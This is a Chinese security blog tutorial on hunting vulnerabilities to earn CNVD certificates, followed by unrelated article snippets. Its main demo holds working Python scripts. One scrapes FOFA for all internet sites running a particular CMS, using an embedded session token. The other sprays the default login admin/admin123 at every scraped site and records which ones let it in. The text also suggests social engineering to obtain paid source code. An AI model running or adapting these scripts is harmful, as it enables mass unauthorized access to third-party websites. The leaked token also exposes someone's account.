88 SRC挖掘-拿下CNVD证书开源闭源售卖系统

目录

    • 1.开源系统、闭源系统、售卖系统
    • 2.如何寻找上述三类系统并进行安全测试
    • 3.如何挑简单的入手最快速度获取证书装x
    • 演示案例:
      • 某开源逻辑审计配合引擎实现通用
      • 某闭源审计或黑盒配合引擎实现通用
      • 某售卖审计或黑盒配合引擎实现通用
    • 涉及资源:

在这里插入图片描述
要挖cnvd是有一个条件的,那就是通用性要100+,就可以达到证书的级别,不然的话,没有什么作用

1.开源系统、闭源系统、售卖系统

通用性100+ :表示挖到的漏洞影响影响范围(域名、服务器、ip这些)个数达到100以上

开源系统:这套程序源码在网上已经给出来了,可以拿到源码

闭源系统:程序源码不公开,一般拿不到源码,你虽然可以接触到系统,但是里面的系统会对源代码加密或者编译,那么这套系统你是看不到真实的源代码;第二种情况是,这套系统你压根接触不到,只给你使用或者给你一个管理的使用权限,她不会给到你系统真实的组成代码

售卖系统:可能拿到源码,也可能拿不到(社工)

它们的主要区别是源码能不能得到,如果有源码我们就能够进行代码审计,我们分析代码要根据程序自身语言进行分析;如果没有源码的话,就要采用黑盒测试

2.如何寻找上述三类系统并进行安全测试

开源:各大源码站下载代码审计

闭源:Fofa搜索尝试获取源码审计,不一定能获取或黑盒测试

售卖:套路社工获取源码或购买源码审计或黑盒测试

确定无源码和常规测试没有方法的情况下,可利用JS文件寻找测试接口

3.如何挑简单的入手最快速度获取证书装x

目前java难度最大,py项目较少,挑php, aspx入手

其中php代码清晰明了,前期讲过,aspx涉及反编译代码后审计

技术点:各种语言代码审计,无源码除常规安全测试外js下的测试口等

演示案例:

某开源逻辑审计配合引擎实现通用

使用fofa搜索网站后台判断目前这套程序有多少人在使用,是否100+
在这里插入图片描述
如果这边搜索出来的结果只有一条,那挖出来也没什么意思

在搭建网站的时候,导入数据库路径要双斜杠
在这里插入图片描述
在这里插入图片描述
在安装网站的时候,我们发现没有设置网站后台的账号密码,说明这个账号密码是默认
在这里插入图片描述
在这里插入图片描述
使用脚本将刚才在fofa上搜索到符合条件的网站域名给爬下来

import requests  # requests模块是用来发送网络请求的  安装:pip install requests
import base64
from lxml import html  # lxml 提取HTML数据,安装:pip install lxml
import threading                      # 导入threading模块实现多线程
import time
 
def fofa_tiqu(Start,End):
    # 循环切换分页
    search_data = '"/admindm-yourname/g.php"'                                         # /admindm-yourname/g.php
    url = 'https://fofa.info/result?qbase64='                                         # fofa网站的url ?qbase64= 请求参数(需要base64字符串格式的参数)
    search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8")      # 把我们的搜索关键字加密成base64字符串
    headers = {                                                                       # 请求的头部,用于身份验证
        # cookie 要改成你自己的,我的账号一退出,这cookie就会过期了
        'cookie':'fofa_token=eyJhbGciOiJIUzUxMiIsImtpZCI6Ik5XWTVZakF4TVRkalltSTJNRFZsWXpRM05EWXdaakF3TURVMlkyWTNZemd3TUdRd1pUTmpZUT09IiwidHlwIjoiSldUIn0.eyJpZCI6MjUxMjA0LCJtaWQiOjEwMDE0MzE2OSwidXNlcm5hbWUiOiLpk7bmsrMiLCJleHAiOjE2ODA2OTQ3NjV9.7G0jLLhv_jDHgi_8UGtTsTSBL1iN5diS7EDQQ4oX8qYunSoJAsXWMAKm2kpVwp3Q6IeT8t7cP3bPEcDWyaWLuw;'
    }
    # 循环爬取数据
    for yeshu in range(Start,End + 1):                                                         # range(num1,num2) 创建一个数序列如:range(1,10) [1,2,...,9] 不包括num2自身
        try:
            # print(yeshu) # 1,2,3,4,5,6,7,8,9
            urls = url + search_data_bs + "&page=" + str(yeshu)  # 拼接网站url,str()将元素转换成字符串,page页数, page_size每页展示多少条数据
            print(f"正在提取第{yeshu}页数据-{urls}")
            # urls 请求的URL    headers 请求头,里面包含身份信息
            result = requests.get(urls, headers=headers).content  # 使用requests模块的get方法请求网站获取网站源代码,content读取数据
            etree = html.etree  # lxml 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档
            # print(result.decode('utf-8'))                                               # 查看返回结果
            soup = etree.HTML(result)  # result.decode('utf-8') 请求返回的HTML代码
            ip_data = soup.xpath('//span[@class="hsxa-host"]/a[@target="_blank"]/@href')  # 公式://标签名称[@属性='属性的值']  ,意思是先找span标签class等于hsxa-host的然后在提取其内部的a标签属性为@target="_blank"的href属性出来(就是一个筛选数据的过程,筛选符合条件的)
            # set() 将容器转换为集合类型,因为集合类型不会存储重复的数据,给ip去下重
            ipdata = '\n'.join(set(ip_data))  # join()将指定的元素以\n换行进行拆分在拼接(\n也可以换成其他字符,不过这里的需求就是把列表拆分成一行一个ip,方便后面的文件写入)
            if 'http' in ipdata:             # 判断ipdata中是否存在http字符串,存在说明数据获取成功
                print(f"第{yeshu}页数据{ipdata}")
                with open(r'ip.txt', 'a+') as f:  # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
                    f.write(ipdata+ '\n')  # write() 方法写入数据
            time.sleep(0.5)
        except Exception as e:
            pass
 
if __name__ == '__main__':            # __main__ 就是一个模块的测试变量,在这个判断内的代码只会在运行当前模块才会执行,在模块外部引入文件进行调用是不会执行的
    yeshu = int(input("您要爬取多少页数据(整数):"))
    thread = 5                # 控制要创建的线程,本来开10个但是太快了服务器反应不过来,获取到的数据少了很多
    # 创建多线程,这个循环的次数越多创建的线程的次数就越多,线程不是越多越好,建议5到10个
    for x in range(1,thread + 1):
        i  = int(yeshu / thread)    # 页数除线程数(目的是让每一个线程都获取部分数据,分工)
        End = int(i * x)            # 结束的页数,设yeshu=50: 5、10、15、20、25...
        Start = int(i * (x-1) +1)   # 开始的页数,            1、6、11、16、21
        # 我上面这样写的目的就是,让线程分工合作。如:线程1就去获取1 -5页的数据、线程2就去获取6 -10页的数据...
        # print(Start,End)
 
        t = threading.Thread(target=fofa_tiqu,kwargs={"Start":Start,"End":End})     # 创建线程对象,target=执行目标任务名,args 以元组的形式传参,kwargs 以字典的形式传参
        t.start()                      # 启动线程,让他开始工作

在这里插入图片描述
再使用脚本帮我们检测弱口令

import requests  # requests模块是用来发送网络请求的  安装:pip install requests
 
def check_login():
    data={                                                     # 登录的参数,自己在本地登录拦截就知道他的请求参数是啥
        'user':'admin',
        'password':'admin123'
    }
    for ip in open('ip.txt'):                                  # ip.txt 就是刚才我们通过fofa提取出来的目标网站ip
        ip = ip.replace('\n', '')                              # replace() 方法替换字符串,将换行替换为空
        urls = ip +'/admindm-yourname/mod_common/login.php?act=login'    # 拼接上我们的登录页面的url路径
        try:
            # print(f"正在检测:{ip}")
            # requests模块是用来发送网络请求的 .get() 发送get请求    status_code获取请求之后的状态码,200正常发送说明存在漏洞
            result = requests.post(urls,data=data)
            if result.status_code == 200:                          # 先判断请求的状态码是否为200
                # content获取返回的数据  decode 指定获取数据的编码格式
                if 'sorry' in result.content.decode('utf-8'):      # 判断当前网站是否存在漏洞(从响应的数据中判断是否存在sorry,如果存在就是登录失败,否则登录成功)
                    print(ip+' | no')
                else:
                    print(ip+' | ok')
                    # print(poc_data.content.decode('utf-8'))
                    with open(r'vuln.txt', 'a') as f:                         # 将存在漏洞的网站url存入本地文件中
                        f.write(ip + '\n')                                    # write()文件写入方法,\n 换行让一个url占一行
        except Exception as e:
            pass
            # print(e)
 
if __name__ == '__main__':
    check_login()

在这里插入图片描述
我们也可以使用js文件进行网站搜索
在这里插入图片描述
这边的结果是有300多个
在这里插入图片描述
cnvd搜索这套系统之前的漏洞提交情况
在这里插入图片描述在这里插入图片描述
可能我们的技术不高,但是我们的思路够骚,也是可以吃到西瓜的

某闭源审计或黑盒配合引擎实现通用

Seay源代码审计系统——(只支持PHP语言,单一,速度快,审计结果相对Fortify较少)

github下载:https://github.com/f1tz/cnseay

直接下载:https://download.ihsdus.cn/down/2022down/3/01/Seayydmsjxt.rar?timestamp=640dd

在这里插入图片描述
有些漏洞位置在后台目录下,这些漏洞的利用前提是需要后台权限,意义不大,可忽略

某售卖审计或黑盒配合引擎实现通用

1.尝试性获取源码
2.类似java或.net编译类文件反编译源码-dnspy,idea
在这里插入图片描述
很多源码封装成dll,放到bin目录的
在这里插入图片描述
把这些dll文件导入进去
在这里插入图片描述
现在我们看它源码,一个个分析
在这里插入图片描述

3.无源码情况下的JS接口数据提交测试模拟-jsfinder,手工,扫描
例:使用fofa搜索:app=“网校登录系统”
在这里插入图片描述
这是一个网站系统
在这里插入图片描述
我们在没有网站的信息情况下面,首先排除常规测试,就是工具扫一下,我们这里讲一下js测试的

源码有php、python、java这种脚本去处理,还有一种是js处理,例如登录请求可以使用后端代码去处理,也可以通过js里面的ajax或里面的代码去处理,所以这个js也可以和数据进行交互

使用jsfind爬取目标接口

python3 JSFinderPlus.py -u 目标url

在这里插入图片描述
通过jsfind这个工具和脚本发现这个网站有更多测试的地方,通过扫描工具是扫不出这个结果,因为它后面还跟着参数
在这里插入图片描述
jsfind的原理就是类似爬虫,通过前端代码去发现这些接口,获取你网页加载资源文件里面返回的东西,来获取更多类似爬虫的东西,然后把这个东西展示出来
在这里插入图片描述
jsfind在结果上有些不全,误报或者不灵,尽量手工配合这个工具一起使用

也可以使用fuzz字典当中的js路径配合路径扫描工具进行扫描
在这里插入图片描述
我们可以打开这些接口,去发现里面有没有一些新的接口、URL地址、资产信息和一些相关的js代码,分析js代码有没有一些调用接口,新的地址出现

如果实在没有源码,或者常规渗透完,可以找js接口进行测试

python是我们在挖掘漏洞里面的一个好帮手,在大家搞ctf比赛,红蓝对抗、挖漏洞,后期涨薪水,工作里面处理任务,这个python都有用处

谷歌验证码,拖放式验证码,人工智能的验证码,那就没有办法了,如果单纯式图片形式的那可以

涉及资源:

js链接爬取:https://github.com/Threezh1/JSFinder
dnSpy反编译文件:
https://fletime.lanzoux.com/iDxcCj60qlc
https://fletime.lanzoux.com/iP8sCj60scf
https://fletime.lanzoux.com/i3kGmj5yqwb
网站测试字典:https://github.com/TheKingOfDuck/fuzzDicts

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/379845.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

[职场] 进入大数据领域需要掌握哪些软件 #其他#职场发展#职场发展

进入大数据领域需要掌握哪些软件 学习大数据首先我们要学习Java语言和Linux操作系统,这两个是学习大数据的基础,学习的顺序不分前后。 Java 大家都知道Java的方向有JavaSE、JavaEE、JavaME,学习大数据要学习那个方向呢? 只需要学习Java的…

docker 开放tcp连接供idea等其他外部工具开放使用

docker 开放tcp连接供idea等其他外部工具开放使用 方法一:通过systemd工具 sudo systemctl edit docker.service 修改文件内容如下 ExecStart/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 重启 systemctl 配置 sudo systemctl daemon-reload 重启docker服务 s…

Redis核心技术与实战【学习笔记】 - 26.Redis数分布优化(应对数据倾斜问题)

简述 在切片集群中,数据会按照一定的规则分散到不同的实例上保存。比如,Redis Cluster 或 Codis 会先按照 CRC 算法的计算值对 Slot(逻辑槽)取模,同时 Slot 又有运维管理员分配到不同的实例上。这样,数据就…

Java:内部类、枚举、泛型以及常用API --黑马笔记

内部类 内部类是类中的五大成分之一(成员变量、方法、构造器、内部类、代码块),如果一个类定义在另一个类的内部,这个类就是内部类。 当一个类的内部,包含一个完整的事物,且这个事物没有必要单独设计时&a…

C#,聚会数(相遇数,Rencontres Number)的算法与源代码

1 相遇数 相遇数(Rencontres Number,partial derangement numbers)是指部分扰动的数量,或与独立对象的r相遇的置换数(即具有固定点的独立对象的置换数)。 看不通。懂的朋友给解释一下哈。 2 源程序 using…

MySQL学习记录——칠 表操作

文章目录 1、了解2、创建和插入1、基本创建和插入2、插入并更新on duplicate3、插入并替换replace 3、Retrieve1、查询select2、条件查询where3、结果排序order by4、限制行数limit 4、更新Update5、删除delete6、去重7、聚合函数(5个)1、count2、sum3、…

鸿蒙(HarmonyOS)项目方舟框架(ArkUI)之StepperItem组件

鸿蒙(HarmonyOS)项目方舟框架(ArkUI)之StepperItem组件 一、操作环境 操作系统: Windows 10 专业版、IDE:DevEco Studio 3.1、SDK:HarmonyOS 3.1 二、StepperItem组件 用作Stepper组件的页面子组件。 子组件 无。 接口 St…

【QT+QGIS跨平台编译】之三十一:【FreeXL+Qt跨平台编译】(一套代码、一套框架,跨平台编译)

文章目录 一、FreeXL介绍二、文件下载三、文件分析四、pro文件五、编译实践一、FreeXL介绍 【FreeXL跨平台编译】:Windows环境下编译成果(支撑QGIS跨平台编译,以及二次研发) 【FreeXL跨平台编译】:Linux环境下编译成果(支撑QGIS跨平台编译,以及二次研发) 【FreeXL跨平台…

openGauss学习笔记-216 openGauss性能调优-确定性能调优范围-硬件瓶颈点分析-CPU

文章目录 openGauss学习笔记-216 openGauss性能调优-确定性能调优范围-硬件瓶颈点分析-CPU216.1 CPU216.2 查看CPU状况216.3 性能参数分析 openGauss学习笔记-216 openGauss性能调优-确定性能调优范围-硬件瓶颈点分析-CPU 获取openGauss节点的CPU、内存、I/O和网络资源使用情况…

Unity3d Shader篇(六)— BlinnPhong高光反射着色器

文章目录 前言一、BlinnPhong高光反射着色器是什么?1. BlinnPhong高光反射着色器的工作原理2. BlinnPhong高光反射着色器的优缺点优点缺点 3. 公式 二、使用步骤1. Shader 属性定义2. SubShader 设置3. 渲染 Pass4. 定义结构体和顶点着色器函数5. 片元着色器函数 三…

保护我方水晶,2024 数据库安全工具盘点

在数据价值堪比石油的数字时代,对每个组织而言,保护这一核心资产显得尤为重要。无论是来自外部的黑客攻击和恶意软件,还是源于内部的人为失误和内鬼行为,威胁无处不在。本文将介绍几款先进的数据库安全工具,从不同维度…

C++ 水仙花数

案例描述:水仙花数是指一个3位数,它的每个位上的数字的3次幂之和等于它本身例如: 1A35A33A3153 请利用do.…while语句,求出所有3位数中的水仙花数 分析思路: 1、将所有的三位数进行输出(100~999&#x…

构造 蓝桥OJ小蓝的无限集

样例输入 4 1 4 7 2 5 8 3 6 8 12 11 81 样例输出 No Yes No No #include<bits/stdc.h> using namespace std;using ll long long;bool rnk(ll a, ll b, ll n) {if((n-1) % b 0) return true;else if (a 1) return false;ll res 1;while(res < n){res * a;if (r…

第三百一十回

我们在上一章回中介绍了"再谈ListView中的分隔线"&#xff0c;本章回中将介绍showMenu的用法.闲话休提&#xff0c;让我们一起Talk Flutter吧。 1. 概念介绍 我们在第一百六十三回中介绍了showMenu相关的内容&#xff0c;它主要用来显示移动PopupMenu在页面中的位置…

L1-095 分寝室

一、题目 二、解题思路 遍历所有情况&#xff0c;i 为女生寝室数量&#xff0c;n-i 为男生寝室数量&#xff0c;循环的结束条件为不允许单人住一间寝室 所有待分配的学生都必须分到一间寝室&#xff1a;i<n0 && n-i<n1 && n-i>0 &#xff1b;对每种…

javaEE - 21( 15000字 Tomcat 和 HTTP 协议入门 -2)

一&#xff1a; HTTP 响应 1.1 认识 “状态码” (status code) 状态码表示访问一个页面的结果. (是访问成功, 还是失败, 还是其他的一些情况…)&#xff0c;以下为常见的状态码. 1.1.1 200 OK 这是一个最常见的状态码, 表示访问成功. 抓包抓到的大部分结果都是 200 HTTP/…

STM32控制JQ8400语音播报模块

时间记录&#xff1a;2024/2/7 一、JQ8400引脚介绍 标示说明ONE LINE一线操作引脚BUSY忙信号引脚&#xff0c;正在播放语音时输出高电平RX串口两线操作接收引脚TX串口两线操作发送引脚GND电源地引脚DC-5V电源引脚&#xff0c;3.3-5VDAC-RDAC输出右声道引脚DAC-LDAC输出左声道…

海外云手机——平台引流的重要媒介

随着互联网的飞速发展&#xff0c;跨境电商、短视频引流以及游戏行业等领域正经历着迅猛的更新换代。在这个信息爆炸的时代&#xff0c;流量成为至关重要的资源&#xff0c;而其中引流环节更是关乎业务成功的关键。海外云手机崭露头角&#xff0c;成为这一传播过程中的重要媒介…

数据库管理-第148期 最强Oracle监控EMCC深入使用-05(20240208)

数据库管理148期 2024-02-08 数据库管理-第148期 最强Oracle监控EMCC深入使用-05&#xff08;20240208&#xff09;1 性能主页2 ADDM Spotlight3 实时ADDM4 数据库的其他5 主机总结 数据库管理-第148期 最强Oracle监控EMCC深入使用-05&#xff08;20240208&#xff09; 作者&am…

Python爬虫http基本原理#2

Python爬虫逆向系列&#xff08;更新中&#xff09;&#xff1a;http://t.csdnimg.cn/5gvI3 HTTP 基本原理 在本节中&#xff0c;我们会详细了解 HTTP 的基本原理&#xff0c;了解在浏览器中敲入 URL 到获取网页内容之间发生了什么。了解了这些内容&#xff0c;有助于我们进一…